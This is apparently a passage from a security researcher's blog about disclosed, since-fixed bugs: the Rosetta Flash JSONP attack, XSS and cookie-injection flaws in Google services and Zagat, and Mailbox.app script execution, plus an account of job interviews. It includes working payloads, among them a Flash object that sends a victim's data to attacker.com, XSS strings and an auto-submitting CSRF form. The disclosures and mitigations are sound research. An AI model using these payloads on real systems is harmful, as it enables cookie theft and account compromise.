iudIbEAtwwWtD333wwG03www0GDGpt03wDDDGDDD33333s033GdFPhHHkoDHDHTLKwhHhzoD
HDHTlOLHHhHxeHXWgHZHoXHTHNo4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7Ciu
dIbEAt33wwE03GDDGwGGDDGDwGtwDtwDDGGDDtGDwwGw0GDDw0w33333www033GdFPHLRDXt
hHHHLHqeeorHthHHHXDhtxHHHLravHQxQHHHOnHDHyMIuiCyIYEHWSsgHmHKcskHoXHLHwhH
HvoXHLhAotHthHHHLXAoXHLxUvH1D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SnnwWNq
dIbe133333333333333333WfF03sTeqefXA888oooooooooooooooooooooooooooooooooo
oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
oooooooooooooooooooooooooooooooo888888880Nj0h

The attacker has to simply host this HTML page on his/her domain, together with a crossdomain.xml file in the root that allows external connections from victims, and make the victim load it.

<object
  type="application/x-shockwave-flash"
  data="https://vulnerable.com/endpoint?callback=CWSMIKI0hCD0Up0IZUnnnnnnnn
nnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0ssG03sDDtDDDt0333333Gt333swwv3ww
wFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YNqdIbeUUUfV133
33333333333333s03sDTVqefXAxooooD0CiudIbEAt33swwEpt0GDG0GtDDDtwwGGGGGsGDt3
3333www033333GfBDTHHHHUhHHHeRjHHHhHHUccUSsgSkKoE5D0Up0IZUnnnnnnnnnnnnnnnn
nnnUU5nnnnnn3Snn7YNqdIbe13333333333sUUe133333Wf03sDTVqefXA8oT50CiudIbEAtw
EpDDG033sDDGtwGDtwwDwttDDDGwtwG33wwGt0w33333sG03sDDdFPhHHHbWqHxHjHZNAqFzA
HZYqqEHeYAHlqzfJzYyHqQdzEzHVMvnAEYzEVHMHbBRrHyVQfDQflqzfHLTrHAqzfHIYqEqEm
IVHaznQHzIIHDRRVEbYqItAzNyH7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7Ciud
IbEAt33swwEDt0GGDDDGptDtwwG0GGptDDww0GDtDDDGGDDGDDtDD33333s03GdFPXHLHAZZO
XHrhwXHLhAwXHLHgBHHhHDEHXsSHoHwXHLXAwXHLxMZOXHWHwtHtHHHHLDUGhHxvwDHDxLdgb
HHhHDEHXkKSHuHwXHLXAwXHLTMZOXHeHwtHtHHHHLDUGhHxvwTHDxLtDXmwTHLLDxLXAwXHLT
MwlHtxHHHDxLlCvm7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtuwt3sG
33ww0sDtDt0333GDw0w33333www033GdFPDHTLxXThnohHTXgotHdXHHHxXTlWf7D0Up0IZUn
nnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwwWtD333wwG03www0GDGpt03wDDDGDDD
33333s033GdFPhHHkoDHDHTLKwhHhzoDHDHTlOLHHhHxeHXWgHZHoXHTHNo4D0Up0IZUnnnnn
nnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt33wwE03GDDGwGGDDGDwGtwDtwDDGGDDtGDww
Gw0GDDw0w33333www033GdFPHLRDXthHHHLHqeeorHthHHHXDhtxHHHLravHQxQHHHOnHDHyM
IuiCyIYEHWSsgHmHKcskHoXHLHwhHHvoXHLhAotHthHHHLXAoXHLxUvH1D0Up0IZUnnnnnnnn
nnnnnnnnnnnUU5nnnnnn3SnnwWNqdIbe133333333333333333WfF03sTeqefXA888ooooooo
ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
ooooooooooooooooooooooooooooooooooooooooooooooooooooooooo888888880Nj0h"
  style="display: none"
>
  <param
    name="FlashVars"
    value="url=https://vulnerable.com/account/sensitive_content_logged_in
    &exfiltrate=http://attacker.com/log.php"
  />
</object>

This universal proof of concept accepts two parameters passed as FlashVars:

url — the URL in the same domain of the vulnerable endpoint to which perform a GET request with the victim’s cookie.
exfiltrate — the attacker-controlled URL to which POST a x variable with the exfiltrated data.

Mitigations and fix

Mitigations by Adobe

Due to the sensitivity of this vulnerability, I first disclosed it internally in Google, and then privately to Adobe PSIRT. A few days before releasing the code and publishing this blog post, I also notified Twitter, eBay, Tumblr and Instagram.

Adobe confirmed they pushed a tentative fix in Flash Player 14 beta codename Lombard (version 14.0.0.125, release notes) and finalized the fix in today’s release (version 14.0.0.145, released on July 8, 2014).

In the security bulletin APSB14-17, Adobe mentions a stricter verification of the SWF file format:

These updates include additional validation checks to ensure that Flash Player rejects malicious content from vulnerable JSONP callback APIs (CVE-2014-4671).

Adobe released a better fix on August 12, 2014, an even better one on June 09, 2015 and finally a probably-good-for-real one on September 21, 2015.

Mitigations by website owners

First of all, it is important to avoid using JSONP on sensitive domains, and if possible use a dedicated sandbox domain.

A mitigation is to make endpoints return the HTTP header Content-Disposition: attachment; filename=f.txt, forcing a file download. This is enough for instructing Flash Player not to run the SWF starting from Adobe Flash 10.2.

To be also protected from content sniffing attacks, prepend the reflected callback with /**/. This is exactly what Google, Facebook and GitHub are currently doing.

Furthermore, to hinder this attack vector in most modern browsers you can also return the HTTP header X-Content-Type-Options: nosniff. If the JSONP endpoint returns a Content-Type which is not application/x-shockwave-flash (usually application/javascript or application/json), Flash Player will refuse to execute the SWF.

Acknowledgment and impact

Thanks to Gábor Molnár, who worked on ascii-zip, source of inspiration for the Huffman part of Rosetta. I learn talking with him in private that we worked independently on the same problem. He privately came up with a single instance of an ASCII SWF approximately one month before I finished the whole Rosetta Flash internally at Google in May and reported it to HackerOne only.

To protect themselves, most JSONP endpoints on the web now modified their response to prefix something, such as an empty JS comment. Several frameworks (Ruby on Rails, Rack, Symfony, Express.js, Node.js, hapi.js, Scalatra, see all Rosetta Flash-related code on GitHub…) patched their JSONP logic. Rapid7 incorporated the exfiltrating PoC in an official Metasploit module. The Wikipedia page for JSONP has a Rosetta Flash paragraph. Three CVEs have been assigned: CVE-2014-4671 for the vulnerability itself and CVE-2014-5333 + CVE-2015-3096 + CVE-2015-5571 for mitigation bypasses (one authored by me, the rest by Tomáš Polešovský and Ben Hayak.

Presented at major conferences (HITB, OWASP AppSec), it won an Internet Bug Bounty, was nominated for a Pwnie Award and appears in Whitesec Top vulnerabilities of 2014.

XSS in Zagat, exploiting a XOR-based obfuscation algorithm

Sun, 16 Feb 2014 00:00:00 +0000

This is a very interesting vulnerability I internally reported, and is now fixed. I find it interesting because it is not the usual XSS, but it exploits a XOR-based obfuscation algorithm of a user-controlled input.

Steps to reproduce

Go to http://www.zagat.com/newsletters/process?email=A2d5QgFwUzZRclE%2BVXcAcQ8wV2JQbF02BnACIQ0gBTUOPgxuAiUDZAJiAGkAdlZ%2BATNQOVRpDmAEbF1sfAVwQgMoASUDZQwqDDoPflB2NQEDRlA2AS1TNlFvUTo=

alert(document.cookie) was executed directly.

Details of the vulnerability

Zagat uses a XOR and position-based obfuscation for passing the email address that is then output to a HTML page on the same domain as a confirmation.

I reverse-engineered the obfuscation function, by exploiting the fact that passing 128 NULL ( \0 ) characters base64 encoded (http://www.zagat.com/newsletters/process?email=AAAA ... A=) to the above URL outputs the repeating 20-chars long encryption key ;) - old trick - XOR with NULL reveals the key.

Knowing that, I found out that there was another step, likely dependent on the difference between chars in the string. Using a clever bruteforce script, also thanks to collisions (several chars in email collided to the same output char), it is possible to make it output arbitrary HTML (and thus JS) to the page, without any user interaction.

Screenshots

Finding the XOR repeating key providing NULL bytes to reveal it Using Burp Suite to reverse the obfuscation algorithm Testing the Javascript payload with Burp Boom!

This vulnerability was fixed in a matter of days, and now a proper protection is in place.

Mailbox.app Javascript execution

Tue, 24 Sep 2013 00:00:00 +0000

Mailbox.app is a free email management application for iOS that offers very cool features to achieve Inbox Zero.

Mailbox.app up to version 1.6.2 (current version at date, Sept. 25 2013) executes any Javascript which is present in the body of HTML emails.

This is bad for security and privacy, because it allows advanced spam techniques, tracking of user actions, hijacking the user by just opening an email, and potentially much worse things, especially for jailbroken devices. The app also loads external images without offering an option to disable this behavior.

In the following short video I demonstrate some use cases of the Javascript execution vulnerability on iOS. Proof of concepts are intentionally innocuous, such as opening apps (Music, Photos, Videos…), Facebook profiles, tweeting and texting an arbitrary number (user confirmation needed). Even if the JS code runs in a sandboxed environment and it is short-lived, this is not a good thing.

Update 2013-09-25 20:00 CEST: It has come to my knowledge that the problem had been previously reported via Twitter to Mailbox on May 30, 2013 by @bp_.

Update 2013-09-25 20:11 CEST: About 90 minutes after Ars Technica published this, Mailbox.app representatives acknowledged the bug but downplayed the severity of attacks that might exploit it. A spokeswoman said a patch would most likely be available before the end of Wednesday.

Update 2013-09-26 09:00 CEST: Mailbox published this statement on their blog. They state:

Today we implemented a process that strips javascript from messages before delivering them to mobile devices. This feature is now live on Mailbox servers and filtering new mail. This will be particularly important as we develop for other platforms, where javascript vulnerabilities could be more of an issue.

As always, thanks for joining us on the road to build the world’s best inbox.

While I verified that they now strip some Javascript and no longer load external images, I quickly found a way to bypass it, and Javascript is currently still executed without any user interaction. I will not publicly disclose details - I privately reported details to Mailbox.app and am waiting for a reply. Update: now fixed.

Update 2013-09-26 10:20 CEST: I posted a comment on Ars Technica expressing my opinion on the impact of this vulnerability:

First of all I would like to thank Dan for the article, and the Ars community for such a great reaction. I really like this kind of informed and civilized discussions, and am considering to join the community for the near future.

In my original report, now updated, I didn’t mean to sound “sensational” at all, and I personally do not think this article is “sensational” either.

I just highlighted that Mailbox.app blindly executes Javascript in HTML email bodies, and that this is bad, especially for jailbroken devices. I am perfectly aware of the fact vanilla iOS sandboxes applications, and that this limits the impact, but this should not excuse the design choice, which is poor from both a privacy and security point of view.

Mailbox.app has gained a considerable user base, and it was not acceptable that it used to load external images without asking the user for permission and, worse, execute Javascript code, which allows even more information leakage.

For unjailbroken devices, the sandboxing model, as everything where it comes to security, is not perfect. There is a history of sandbox bypass exploits. It is very likely that a vulnerability that allows malicious attackers to inject actual code using a Javascript vector inside an app to start the attack exists in current iOS versions and will be published in the future. After all, this has happened in the past. I am thinking of Pwn2Own 2010, where Vincenzo Iozzo and Weinmann exploited a vulnerability in MobileSafari to silently transmit the SMS database to a remote server, or the JailbreakMe “Saffron” exploit, that exploited a FreeType parsing vulnerability in the browser to read/write memory past buffer, bypass all restrictions in place in iOS and ultimately jailbreak the phone. In general, Javascript is used as a convenient tool for heap spraying attacks targeting the browser - I am not an iOS expert (my field is web application security), but I can’t see why it should be allowed in a such untrusted channel as email.

Some commenters say that this is not different from a normal webview or Safari itself.> In my opinion, it is different because while users expect to execute Javascript on a webpage, they do not expect Javascript to be executed by simply opening emails, and emails can be spoofed. I’m also not aware of any other major mail app that runs sender-supplied JavaScript included in the body of emails.

Mailbox.app now claims to filter JS server-side before delivering mails to the client.> While I verified that they now strip some Javascript and no longer load external images, I quickly found a way to bypass it, and Javascript is currently still executed without any user interaction. I will not publicly disclose details - I privately reported details to Mailbox.app and am currently waiting for a reply.

Have a (slightly) safer day!

Update 2013-09-26 17:36 CEST: Mailbox support replied - they are working on a fix for my bypass.

Update 2013-09-27 06:28 CEST: Mailbox support confirms the fix for the bypass.

Thanks again for your email, Michele. We’ve updated the servers to also remove object tags.

We are continually evolving how Mailbox handles messages, and appreciate you passing on this information.

This has been featured on The Guardian, Ars Technica, Gizmodo, Macworld, Lifehacker, iClarified, Graham Cluley, Threatpost, Info Security and more.

This vulnerability report raised some debate in the security world about executing Javascript in emails. See this Naked Security post.

My experience with Google interviews and why it is different from Facebook's

Wed, 18 Sep 2013 00:00:00 +0000

Interviewing for a technical job is hard, and companies do not interview candidates the same way. In this post, I would like to express my personal feelings about two interviewing processes in particular: Google and Facebook.

My experience with Google

My experience with the Google hiring process began in February 2011, when Marion, working in the staffing department at Google Sydney, sent me an email explaining she found my LinkedIn profile interesting and asking if I was interested in an internship in one of Google global offices.

At the time I was not interested in an internship, was about to leave for Chicago for my double degree program, so I declined the offer, adding the recruiter on LinkedIn.

Fast-forward to December 2012. I get a mail from Sunil about a Site Reliability Engineering role, but, after a brief phone call, we decided to postpone the thing to the summer.

In the summer, however, not a word from him. I try to send him an email, but it bounces. His email address was disabled. He left Google.

So I wait some months and contact Marion, who was really kind and helped me in getting in touch with a proper technical recruiter in Zürich, Terry.

Terry is an awesome recruiter.

Supportive, clear, helpful and insightful. We had several informal phone calls, and he even suggested me to apply for a different position that he believed would be a better match for my skillset.

So, after a review of my profile by the engineers, they asked to setup the first technical telephone interview.

Telephone interviews

The calls should last 45 minutes, but mine have actually been 50 to 55 minutes longs.

In the first one, the interviewer was calling from Zürich, and was a Security Engineer.

The interview was completely technical and straight to the point. He asked me several technical questions about security from the beginning, and I really appreciated that, because it made me feel confident and motivated. The questions were logically linked and I could tell that the interviewer was actually enjoying the discussion that arose about different techniques to, for example, overcome the Same Origin Policy (such as CORS and postMessage in the HTML5 Web API).

No silly brain teasers, no Fermi questions.

I was actually expecting some kind of Fermi questions in the first screening interview (questions along the lines of How many gas stations are there in Chicago?) and I’ve been told that they actually ask them for different roles, such as Marketing and Sales. They are about breaking down a problem, making reasonable assumptions, and doing a little bit of arithmetic.

Back to the interview. When there were about 10 minutes left, they ask you to come up with some code in your favorite language to solve a problem. You have to code on a dedicated Google Docs document that they link to you before the call. It’s not easy, especially if you use Python or other languages that assign semantics to indentation, but it’s still easier than whiteboard coding. And, guess what, that is something you’ll have to do if you manage to get to the on-site interview.

In the first call I was asked to implement a very popular input sanitization function from scratch. The interviewer was much more interested in following my initial thought process than to read my actual code, and this is a very good thing in my opinion.

The second call was really similar, with the interviewer calling from California. It was maybe slightly more focused on handling of scenarios.

On-site interviews

After two weeks, Terry sent me an email congratulating me and inviting me to Zürich for an on-site round of interviews. Google pays for every expense, and books an hotel for you to stay overnight. They also offered to book a flight for me, but I preferred to take a train from Milan.

The day I had to leave for Zürich I had an university exam in the morning, so I had to quickly jump on the train after that. I arrived in Zürich in the early evening, I walked to the hotel, which was about 3km far from the station, had dinner, and then directly to bed.

The next morning, I woke up, had an abundant breakfast and checked out from the hotel.

I wandered around the city for a while, slowly heading to Google offices.

Zürich is pretty in the morning.

Zürich in the morning

I arrived to Google offices a full hour early, so had plenty of time to hang around and take photos:

Google Office in Zürich A googol is 10^100 Droids everywhere... Switzerland!

I also found a parked Google car!

A Google car resting

Ok, so, maybe I wait a bit on the benches in front of the building…

Area in front of the building

Ok, it’s time! Let’s walk into it!

Front desk area - Business Insider - Camenzind Evolution

The office is awesome.

It has a different design theme on each floor, massage stations, restaurant-quality food, slides, billiards, aquariums, gondola lifts used as conference rooms, and so on.

You can see more photos of the Zürich office.

The person at the front desk pointed me to a touchscreen, on which I had to agree to an informal NDA (I won’t specify details of the questions I’ve been asked) and I had my interviewee badge printed. I remember I had to put my name and my recruiter’s, and I thought of trying to inject something there, but I decided to be a good guy :) .

Here’s my badge:

My interview badge

After five minutes, my recruiter came and welcomed me. I was brought directly to my interview room, called Blueberry, and was asked if I needed anything. Everybody there was really kind to me.

Terry explained what was the schedule of the day, and, in less than ten minutes, I was being interviewed by the first engineer.

On-site interviews are more in-depth than the telephone ones. I was asked very precise things about protocols, RFCs and specifications. I can’t go into details, but, for example, if you never thought of studying the bit representation of a float number, well, you should.

The first two interviews were similar, and I was also presented with snippets of very vulnerable code, and I had to spot all the vulnerabilities I could. They used C, Python and PHP, and expected me to understand and know the security aspects of functions in the standard library of those languages.

I was also asked to code myself, but nothing too difficult, mostly operations with lists and numbers and string manipulation. The interviewers chose the language this time - for example, I was explicitly asked to use plain C for a string manipulation task.

Questions about security were increasingly difficult, and they tried to push my limits, for example by asking things such as the parameters that common functions take or which OS used to use static canaries (yes, it is Windows XP!).

I was asked to use the whiteboard for drawing things all the time. Don’t expect to vaguely hint about Return-oriented programming (ROP) without having to give a concrete example of a gadget chain ;).

After 90 minutes of non-stop interviews, I had a 30 minutes break to eat something and rest. I was reminded I was not being interviewed during that time, and another engineer showed me a lot of features of the office and perks.

Impressive, indeed. And the desserts are amazing.

Back to Blueberry, next interview was with two interviewers. One of them was shadowing, as he was learning to become an interviewer himself. He took notes and sometimes commented and took part to the discussion.

Everything went smooth, I was asked about advanced aspects of SQL injection and other security stuff (sorry for being generic here). No coding assignment this time.

Last interview was different.

The interviewer looked much more interested in assessing my organizational and coding skills (as a software engineer more than a security engineer), so he asked me to draw organization charts, discuss about incident response, the connection with marketing and decision making levels, and, finally, to code routines in a machine language with just one instruction (enough for making the architecture Turing complete).

I was really exhausted in the end, and I feel I underperformed in the last assignment.

After that, I was accompanied to a micro-kitchen for a refreshment and finally left.

Wrapping up my Google experience

My interview experience with Google has been really awesome, so thank you Google for that! :)

Everybody has been really kind to me, and the questions have been very challenging and stimulating - I enjoyed every single minute there.

I could tell that the interviewers were all very smart, stimulating and open to discussion.

Also… good news! I received positive feedback by the hiring committee in exactly two weeks after the on-site interview :).

Facebook is… different

A week before the Google on-site interview, I was contacted by the head of Facebook Security in Europe.

He convinced me to try their interviewing process too.

I just got the first screening phone call from them, where an engineer with an incredibly strong accent used CollabEdit to simply paste the text of a coding puzzle, and asked me to solve it. No questions, no introduction, nothing about security. I was really surprised, but I managed to tell him how I would have solved that problem. He agreed with me, but insisted that I actually wrote compiling code it while on the phone.

I tried to keep explaining my thought process, but he stopped me and insisted on the code. So I started writing some Python code, but I was disappointed by that interviewing technique.

So, it’s very different. I might have been unlucky - after all, I’ve just been interviewed once - but it looks like Facebook is more into hiring coding gurus than engineers.

XSRF and Cookie manipulation on google.com

Sun, 15 Sep 2013 00:00:00 +0000

Here I present a (reported and fixed) XSRF and Cookie manipulation vulnerability I discovered in google.com, requiring no user interaction. It was possible to set arbitrary cookies and tamper with existing ones.

This works on Safari and browsers that support setting multiple cookies within the same Set-Cookie header, a technique called Set-Cookie folding. The behavior is specified in section 4.2.2 of RFC 2109.

The RFC says that the Set-Cookie response header comprises the token Set-Cookie:, followed by a comma separated list of one or more cookies.

RFC 2109 was obsoleted by RFC 2965, which in turn was obsoleted by RFC 6265. The most recent specification does not formally forbid Set-Cookie folding, but some browsers (Chrome included) do not support it.

So this exploit works for the rest of them.

The bug

The bug is a lack of sanitization of the prefsval parameter, which is used in the response within a Set-Cookie header.

http://www.google.ca/finance/prefs?action=set&prefsgroup=global&prefskey=RV&prefsval=<PAYLOAD>

<PAYLOAD> allows commas and semicolons, thus allowing injection and cookie manipulation for browsers that allow Set-Cookie folding.

A proof-of-concept payload could be:

X;,%20USER_CONTROLLED_COOKIE_NAME=<script>alert('XSS')</script>;,DUMMY=

this sets the first cookie (called SC) to X, terminates it, sets a cookie named USER_CONTROLLED_COOKIE_NAME with content <script>alert('XSS')</script> (totally unescaped), terminates it, and sets another cookie DUMMY with the rest of the original, legitimate SC cookie.

It is also possible to set arbitrary expiration date and path, thus making it valid for google.com/ and not only google.com/finance. No anti-XSRF token was used.

Steps to reproduce

Let the victim, logged in her Google account, visit this crafted HTML page:

<html>
  <body onload="document.forms[0].submit()">
    <form
      action="http://www.google.ca/finance/prefs?action=set&prefsgroup=global
    &prefskey=RV&prefsval=X;,%20USER_CONTROLLED_COOKIE_NAME=<script>alert('XSS')</script>;%20path=/;
    %20Max-Age=999999999;%20domain=.google.ca;,%20PREF=GOOGLE_COOKIE_CONTENT_CHANGED;%20path=/;
    %20Max-Age=999999999;%20domain=.google.ca;,DUMMY="
      method="post"
    >
      <input type="submit" value="Submit" />
    </form>
  </body>
</html>

They now has an arbitrary cookie set for google.com (USER_CONTROLLED_COOKIE_NAME), and a Google one (PREF) modified.

Screenshots

The vulnerability in Burp Suite Cookie manipulation succeeded!

This vulnerability was fixed in a week. The request now requires an anti-XSRF token and returns HTTP 400/Bad Request if it is missing.

I received a $3133.7 reward and have been listed in the Google Security Hall of Fame for the fourth time.

Thank you, Google Security Team! :)

XSS in Google Finance

Tue, 30 Jul 2013 00:00:00 +0000

Here I present a XSS vulnerability I discovered in google.com, requiring no user interaction.

It is due to a glitch in Google Finance, which is hosted on google.com/finance, that allows to trick the Javascript application for plotting charts (in particular, source file /finance/f/sfe-opt.js) to load a file hosted on an external domain and eval() its content as Javascript code.

This exploit does not require any user interaction, it’s just a matter of clicking on a URL.

Steps to reproduce:

Just click on this URL (now fixed): https://www.google.com/finance?chdet=1214596800000&q=NASDAQ:INTC&ntsp=2&ntrssurl=https://evildomain.com/x.js.

File x.js contains the following proof-of-concept code for demonstration purposes:
```
alert(document.domain);
```
The file must be hosted over HTTPS.
The remote Javascript is executed.

How does it work?

Here are two (obfuscated) code snippets of /finance/f/sfe-opt.js responsible for this vulnerability:

c.push("ntsp=");
c.push(b);
if (b == Vl.jj || b == Vl.kj)
  (a = a.xc[ii(a.S)]),
    a.lj() || (c.push("&ntrssurl="), c.push(escape(a.Cc || "")));
return c.join("");

In this first snippet, URL parameters, and in particular the ntrssurl parameter (address of a custom RSS feed) are fetched and concatenated.

Xi.prototype.send = function (a, b, c, d) {
  a = a || null;
  d = d || "_" + (Yi++).toString(36) + x().toString(36);
  n._callbacks_ || (n._callbacks_ = {});
  var e = this.$s.Z();
  if (a)
    for (var f in a)
      (a.hasOwnProperty && !a.hasOwnProperty(f)) || Fi(e, f, a[f]);
  b && ((n._callbacks_[d] = Zi(d, b)), Fi(e, this.Zs, "_callbacks_." + d));
  b = Wi(e.toString(), {
    timeout: this.We,
    Ns: !0,
  });
  Si(b, null, $i(d, a, c), void 0);
  return {
    La: d,
    Du: b,
  };
};

This part of the code is responsible for querying an external domain for a newsfeed to be displayed on the plot as an overlay.

It generates a base-36 callback function name, and the function Wi performs an xmlhttprequest to the domain supplied in the ntrssurl parameter in the URL, appending ?_CALLBACK_.

In this case, a simple Javascript code is returned and eval()‘ed.

Screenshots

Screenshot of the XSS vulnerability triggered Screenshot of the callback request Snippet of the vulnerable Javascript code

This vulnerability was fixed in a matter of days, and I received a $5k reward.

Thank you, Google Security Team! :)

Stored XSS in GMail

Mon, 08 Jul 2013 00:00:00 +0000

Here I present a (reported and fixed) Stored XSS vulnerability I discovered in mail.google.com, which required no user interaction.

It is due to the phishing alert that, in the basic HTML layout, doesn’t escape correctly characters in the name of the sender. The sender name, which is under the attacker’s control, was printed without proper sanitization when GMail is browsed in the basic HTML layout.

Steps to reproduce

Go to a well known fake mailer such as Emkei, or use any open relay SMTP server that triggers the phishing alert.
Send an email to the victim GMail address with the From field: <img src=# onerror=alert(document.cookie)>.
Choose UTF-8 as encoding.
Open your Gmail in the basic HTML layout.
Open the received email. BOOM!

Screenshot of the Stored XSS vulnerability triggered

The XSS is stored: just simply reopen the mail anytime you want. This vulnerability was fixed in a matter of hours, I got a reward and have been listed in the Google Security Hall of Fame.

Thank you, Google Security Team! :)